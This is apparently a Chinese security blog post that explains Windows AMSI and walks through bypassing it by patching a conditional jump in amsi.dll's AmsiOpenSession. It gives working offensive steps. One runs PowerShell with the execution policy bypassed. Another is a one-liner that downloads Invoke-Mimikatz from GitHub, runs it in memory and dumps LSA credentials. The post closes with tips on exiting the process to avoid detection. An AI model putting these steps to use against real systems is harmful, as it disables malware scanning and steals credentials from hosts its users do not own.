现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!
什么是 AMSI?
Microsoft 的“ Windows 反恶意软件扫描接口 (AMSI) 是一种多功能接口标准,允许您的应用程序和服务与计算机上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件防护。”
简单来说,AMSI是微软实现的,用于扫描内存中程序的执行情况。它也在 PowerShell 中实现,这意味着我们在 PowerShell 中运行的任何命令和脚本都会首先传递到 AMSI 进行检测,然后传递到主防病毒引擎。
什么是amsi.dll?
AMSI AmsiOpenSession 绕过
AmsiOpenSession 函数可用于通过设置会话的上下文和行为来配置 AMSI 会话。例如,应用程序可以设置会话的上下文以指定正在扫描的数据的内容类型,例如脚本或二进制数据。
让我们首先反汇编 AmsiOpenSession 函数amsi.dll:
有一个测试指令,它基本上在它自己(rcx,rcx)之间执行按位与运算,如果结果为零,则设置零标志(ZF = 1)。
如果设置了零标志,它将遵循 JE(跳转等于)指令 0x180008244(这是一个错误分支),指示 0x80070057
现在,如果我们可以将 JE 指令修改为 JNE(跳转不等于),错误分支将永远不会出现!,从而允许我们运行任何命令而不会被标记!
@TheD1rkMtr 有一个名为 AMSI_patch 的项目,它做同样的事情。我还使用相同的想法创建了相同的项目,但实现略有不同(所有积分和荣誉都归于@TheD1rkMtr)。
您可以在这里找到代码:
绕过 AMSI 的步骤:
1. 从上面的项目下载amsibypass.exe文件,您也可以使用该文件构建您自己的.sln项目(注意:该二进制文件可能会在一段时间内被 AV 标记。)
2. 获得amsibypass.exe文件后,使用管理员权限打开 PowerShell 并禁用执行策略:
powershell -ep bypass -nop
3. 现在,您可以在当前的PowerShell会话或另一个PowerShell会话中运行它,但您将需要该会话的PID,像下图这样。
我们直接从nishang的GitHub下载并运行invoke-mimikatz脚本
PS C:\Users\szero\Desktop> IEX(New-Object Net.Webclient).DownloadString("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") ; Invoke-Mimikatz -Command '"lsadump::lsa /patch"' ; exit
这里我们直接从GitHub下载mimikatz,加载到内存中,执行它,然后结束PowerShell进程。exit我们最后使用了它,以便它可以与 OPSEC 配合使用。
如果我们不结束(退出)正在加载 mimikatz 的 PowerShell 进程,那么它将被标记,尽管它会显示 NTLM 转储。这是由于防病毒产品对内存和进程进行启发式扫描所致,这会将其标记为恶意。
关注我们
还在等什么?赶紧点击下方名片开始学习吧!
信 安 考 证
CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001...
推 荐 阅 读